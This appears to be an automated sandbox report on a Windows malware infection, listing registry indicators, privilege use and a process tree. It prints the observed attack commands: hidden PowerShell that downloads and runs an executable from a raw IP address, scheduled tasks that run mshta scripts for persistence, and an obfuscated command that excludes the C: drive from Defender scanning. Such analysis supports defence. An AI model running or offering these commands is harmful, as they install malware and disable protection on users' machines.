Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	bncn6rv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	sqVWjvh.exe

Delays execution with timeout.exe 2 IoCs

pid	Process
1444	timeout.exe
7628	timeout.exe

Enumerates system info in registry 2 TTPs 18 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	packed.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	PQkVDtx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	379	Go-http-client/1.1

Kills process with taskkill 5 IoCs

defense_evasion spyware trojan

pid	Process
6424	taskkill.exe
6384	taskkill.exe
2780	taskkill.exe
6580	taskkill.exe
5516	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133858437226520077"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000_Classes\Local Settings	rapes.exe
Key created	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000_Classes\Local Settings	firefox.exe

Modifies system certificate store 2 TTPs 2 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\9E99A48A9960B14926BB7F3B02E22DA2B0AB7280	COM Surrogate.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\9E99A48A9960B14926BB7F3B02E22DA2B0AB7280\Blob = 0300000001000000140000009e99a48a9960b14926bb7f3b02e22da2b0ab72801400000001000000140000009c5f00dfaa01d7302b3888a2b86d4a9cf2119183040000000100000010000000c6150925cfea5941ddc7ff2a0a5066920f00000001000000200000008408d5e5010ab8da67eb33a7d79ace944dd0ac103ae6ead3ff30dec571066b0319000000010000001000000014d4b19434670e6dc091d154abb20edc5c000000010000000400000000080000180000000100000010000000fd960962ac6938e0d4b0769aa1a64e26200000000100000079040000308204753082035da003020102020900a70e4a4c3482b77f300d06092a864886f70d01010b05003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3039303930323030303030305a170d3334303632383137333931365a308198310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e313b303906035504031332537461726669656c6420536572766963657320526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100d50c3ac42af94ee2f5be19975f8e8853b11f3fcbcf9f20136d293ac80f7d3cf76b763863d93660a89b5e5c0080b22f597ff687f9254386e7691b529a90e171e3d82d0d4e6ff6c849d9b6f31a56ae2bb67414ebcffb26e31aba1d962e6a3b5894894756ff25a093705383da847414c3679e04683adf8e405a1d4a4ecf43913be756d60070cb52ee7b7dae3ae7bc31f945f6c260cf1359022b80cc3447dfb9de90656d02cf2c91a6a6e7de8518497c664ea33a6da9b5ee342eba0d03b833df47ebb16b8d25d99bce81d1454632967087de020e494385b66c73bb64ea6141acc9d454df872fc722b226cc9f5954689ffcbe2a2fc4551c75406017850255398b7f050203010001a381f03081ed300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604149c5f00dfaa01d7302b3888a2b86d4a9cf2119183301f0603551d23041830168014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7304f06082b0601050507010104433041301c06082b060105050730018610687474703a2f2f6f2e7373322e75732f302106082b060105050730028615687474703a2f2f782e7373322e75732f782e63657230260603551d1f041f301d301ba019a0178615687474703a2f2f732e7373322e75732f722e63726c30110603551d20040a300830060604551d2000300d06092a864886f70d01010b05000382010100231de38a57ca7de917794cf11e55fdcc536e3e470fdfc655f2b20436ed801f53c45d34286bbec755fc67eacb3f7f90b233cd1b58108202f8f82ff51360d405cef18108c1dda775974f18b96ddef7939108ba7e402cedc1eabb769e3306771d0d087f53dd1b64ab8227f169d54d5eaef4a1c375a758442df23c7098acba69b695777f0f315e2cfca0873a4769f0795ff41454a4955e1178126027ce9fc277ff2353775dbaffea59e7dbcfaf9296ef249a35107a9c91c60e7d99f63f19dff57254e115a907597b83bf522e468cb20064761c48d3d879e86e56ccae2c0390d7193899e4ca09195bff0796b0a87f3449df56a9f7b05fed33ed8c47b730035df4038c	COM Surrogate.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_9wekyb3a8bbwe\dat\XboxSpeechToTextOverlay.exe:92	COM Surrogate.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3068	schtasks.exe
3020	schtasks.exe
5532	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1680	random.exe
1680	random.exe
4924	rapes.exe
4924	rapes.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
1608	TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
1608	TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
2732	powershell.exe
2732	powershell.exe
2732	powershell.exe
2492	rapes.exe
2492	rapes.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
212	mIrI3a9.exe
212	mIrI3a9.exe
4488	powershell.exe
4488	powershell.exe
4488	powershell.exe
712	483d2fa8a0d53818306efeb32d3.exe
712	483d2fa8a0d53818306efeb32d3.exe
2632	sqVWjvh.exe
2632	sqVWjvh.exe
2568	17df09620c.exe
2568	17df09620c.exe
2632	sqVWjvh.exe
2632	sqVWjvh.exe
2220	chrome.exe
2220	chrome.exe
5488	8323f7acef.exe
5488	8323f7acef.exe
2632	sqVWjvh.exe
2632	sqVWjvh.exe
2632	sqVWjvh.exe
2632	sqVWjvh.exe
6008	787a5f5ef6.exe
6008	787a5f5ef6.exe
5940	msedge.exe
5940	msedge.exe
5940	msedge.exe
5940	msedge.exe
5372	msedge.exe
5372	msedge.exe
5976	msedge.exe
5976	msedge.exe
2632	sqVWjvh.exe
2632	sqVWjvh.exe
6116	3bd8e48c7d.exe
6116	3bd8e48c7d.exe
6116	3bd8e48c7d.exe
6116	3bd8e48c7d.exe
7768	ec6d990530.exe
7768	ec6d990530.exe
7768	ec6d990530.exe
7768	ec6d990530.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4840	SplashWin.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
8120	chrome.exe
8120	chrome.exe
8120	chrome.exe
8120	chrome.exe
3052	msedge.exe
3052	msedge.exe
3052	msedge.exe
3052	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4168	powershell.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	212	mIrI3a9.exe
Token: SeDebugPrivilege	4488	powershell.exe
Token: SeShutdownPrivilege	2220	chrome.exe
Token: SeCreatePagefilePrivilege	2220	chrome.exe
Token: SeShutdownPrivilege	2220	chrome.exe
Token: SeCreatePagefilePrivilege	2220	chrome.exe
Token: SeShutdownPrivilege	2220	chrome.exe
Token: SeCreatePagefilePrivilege	2220	chrome.exe
Token: SeShutdownPrivilege	2220	chrome.exe
Token: SeCreatePagefilePrivilege	2220	chrome.exe
Token: SeShutdownPrivilege	2220	chrome.exe
Token: SeCreatePagefilePrivilege	2220	chrome.exe
Token: SeShutdownPrivilege	2220	chrome.exe
Token: SeCreatePagefilePrivilege	2220	chrome.exe
Token: SeShutdownPrivilege	2220	chrome.exe
Token: SeCreatePagefilePrivilege	2220	chrome.exe
Token: SeDebugPrivilege	4816	a.exe
Token: SeDebugPrivilege	6424	taskkill.exe
Token: SeDebugPrivilege	6384	taskkill.exe
Token: SeDebugPrivilege	2780	taskkill.exe
Token: SeDebugPrivilege	6580	taskkill.exe
Token: SeDebugPrivilege	5516	taskkill.exe
Token: SeDebugPrivilege	6400	firefox.exe
Token: SeDebugPrivilege	6400	firefox.exe
Token: SeDebugPrivilege	2468	4135398cf6.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeDebugPrivilege	7360	powershell.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe
Token: SeCreatePagefilePrivilege	8120	chrome.exe
Token: SeShutdownPrivilege	8120	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1680	random.exe
2736	7b5aced374.exe
2736	7b5aced374.exe
2736	7b5aced374.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6400	firefox.exe

Suspicious use of SendNotifyMessage 35 IoCs

pid	Process
2736	7b5aced374.exe
2736	7b5aced374.exe
2736	7b5aced374.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6400	firefox.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe
6460	ae85dec50f.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
6400	firefox.exe
5192	HmngBpR.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1680 wrote to memory of 4924	1680	random.exe	90
PID 1680 wrote to memory of 4924	1680	random.exe	90
PID 1680 wrote to memory of 4924	1680	random.exe	90
PID 4924 wrote to memory of 2736	4924	rapes.exe	96
PID 4924 wrote to memory of 2736	4924	rapes.exe	96
PID 4924 wrote to memory of 2736	4924	rapes.exe	96
PID 2736 wrote to memory of 3616	2736	7b5aced374.exe	97
PID 2736 wrote to memory of 3616	2736	7b5aced374.exe	97
PID 2736 wrote to memory of 3616	2736	7b5aced374.exe	97
PID 2736 wrote to memory of 3180	2736	7b5aced374.exe	98
PID 2736 wrote to memory of 3180	2736	7b5aced374.exe	98
PID 2736 wrote to memory of 3180	2736	7b5aced374.exe	98
PID 3616 wrote to memory of 3068	3616	cmd.exe	100
PID 3616 wrote to memory of 3068	3616	cmd.exe	100
PID 3616 wrote to memory of 3068	3616	cmd.exe	100
PID 3180 wrote to memory of 4168	3180	mshta.exe	101
PID 3180 wrote to memory of 4168	3180	mshta.exe	101
PID 3180 wrote to memory of 4168	3180	mshta.exe	101
PID 4924 wrote to memory of 3808	4924	rapes.exe	105
PID 4924 wrote to memory of 3808	4924	rapes.exe	105
PID 4924 wrote to memory of 3808	4924	rapes.exe	105
PID 3808 wrote to memory of 1444	3808	cmd.exe	107
PID 3808 wrote to memory of 1444	3808	cmd.exe	107
PID 3808 wrote to memory of 1444	3808	cmd.exe	107
PID 3808 wrote to memory of 2452	3808	cmd.exe	108
PID 3808 wrote to memory of 2452	3808	cmd.exe	108
PID 3808 wrote to memory of 2452	3808	cmd.exe	108
PID 2452 wrote to memory of 3504	2452	cmd.exe	109
PID 2452 wrote to memory of 3504	2452	cmd.exe	109
PID 2452 wrote to memory of 3504	2452	cmd.exe	109
PID 4168 wrote to memory of 1608	4168	powershell.exe	110
PID 4168 wrote to memory of 1608	4168	powershell.exe	110
PID 4168 wrote to memory of 1608	4168	powershell.exe	110
PID 3808 wrote to memory of 2660	3808	cmd.exe	111
PID 3808 wrote to memory of 2660	3808	cmd.exe	111
PID 3808 wrote to memory of 2660	3808	cmd.exe	111
PID 2660 wrote to memory of 2732	2660	cmd.exe	112
PID 2660 wrote to memory of 2732	2660	cmd.exe	112
PID 2660 wrote to memory of 2732	2660	cmd.exe	112
PID 4924 wrote to memory of 4708	4924	rapes.exe	114
PID 4924 wrote to memory of 4708	4924	rapes.exe	114
PID 4924 wrote to memory of 4708	4924	rapes.exe	114
PID 3808 wrote to memory of 3040	3808	cmd.exe	115
PID 3808 wrote to memory of 3040	3808	cmd.exe	115
PID 3808 wrote to memory of 3040	3808	cmd.exe	115
PID 4708 wrote to memory of 2644	4708	lk7ybIi.exe	117
PID 4708 wrote to memory of 2644	4708	lk7ybIi.exe	117
PID 4708 wrote to memory of 2644	4708	lk7ybIi.exe	117
PID 3040 wrote to memory of 4128	3040	cmd.exe	116
PID 3040 wrote to memory of 4128	3040	cmd.exe	116
PID 3040 wrote to memory of 4128	3040	cmd.exe	116
PID 4708 wrote to memory of 5088	4708	lk7ybIi.exe	118
PID 4708 wrote to memory of 5088	4708	lk7ybIi.exe	118
PID 4708 wrote to memory of 5088	4708	lk7ybIi.exe	118
PID 4708 wrote to memory of 5088	4708	lk7ybIi.exe	118
PID 4708 wrote to memory of 5088	4708	lk7ybIi.exe	118
PID 4708 wrote to memory of 5088	4708	lk7ybIi.exe	118
PID 4708 wrote to memory of 5088	4708	lk7ybIi.exe	118
PID 4708 wrote to memory of 5088	4708	lk7ybIi.exe	118
PID 4708 wrote to memory of 5088	4708	lk7ybIi.exe	118
PID 3808 wrote to memory of 3020	3808	cmd.exe	122
PID 3808 wrote to memory of 3020	3808	cmd.exe	122
PID 3808 wrote to memory of 3020	3808	cmd.exe	122
PID 3808 wrote to memory of 1548	3808	cmd.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
  "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Users\Admin\AppData\Local\Temp\10126980101\7b5aced374.exe
    "C:\Users\Admin\AppData\Local\Temp\10126980101\7b5aced374.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn ThZvQmatz36 /tr "mshta C:\Users\Admin\AppData\Local\Temp\FTdycmLXZ.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3616
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn ThZvQmatz36 /tr "mshta C:\Users\Admin\AppData\Local\Temp\FTdycmLXZ.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3068
  - - C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\FTdycmLXZ.hta
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3180
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4168
      - C:\Users\Admin\AppData\Local\TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE
        
        "C:\Users\Admin\AppData\Local\TempYSJNFD19HKLHBK5PBTCAD4Z2VMCPIAY8.EXE"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10126990121\am_no.cmd" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3808
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 2
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1444
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2452
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2660
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4128
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "R1wF4mamR8J" /tr "mshta \"C:\Temp\Grin1EP4b.hta\"" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3020
  - - C:\Windows\SysWOW64\mshta.exe
      mshta "C:\Temp\Grin1EP4b.hta"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      PID:1548
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4696
      - C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:712
- - C:\Users\Admin\AppData\Local\Temp\10127560101\lk7ybIi.exe
    "C:\Users\Admin\AppData\Local\Temp\10127560101\lk7ybIi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Users\Admin\AppData\Local\Temp\10127560101\lk7ybIi.exe
      "C:\Users\Admin\AppData\Local\Temp\10127560101\lk7ybIi.exe"
      4⤵
      Executes dropped EXE
      PID:2644
  - - C:\Users\Admin\AppData\Local\Temp\10127560101\lk7ybIi.exe
      "C:\Users\Admin\AppData\Local\Temp\10127560101\lk7ybIi.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5088
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 796
      4⤵
      Program crash
      PID:3476
- - C:\Users\Admin\AppData\Local\Temp\10127580101\mIrI3a9.exe
    "C:\Users\Admin\AppData\Local\Temp\10127580101\mIrI3a9.exe"
    3⤵
    - Downloads MZ/PE file
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:212
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 -c ".([char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101) -ExclusionPath ([Char]67+[Char]58+[Char]92);.([char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101) -ExclusionExtension 'exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4488
  - - C:\Users\Admin\AppData\Roaming\a.exe
      "C:\Users\Admin\AppData\Roaming\a.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4816
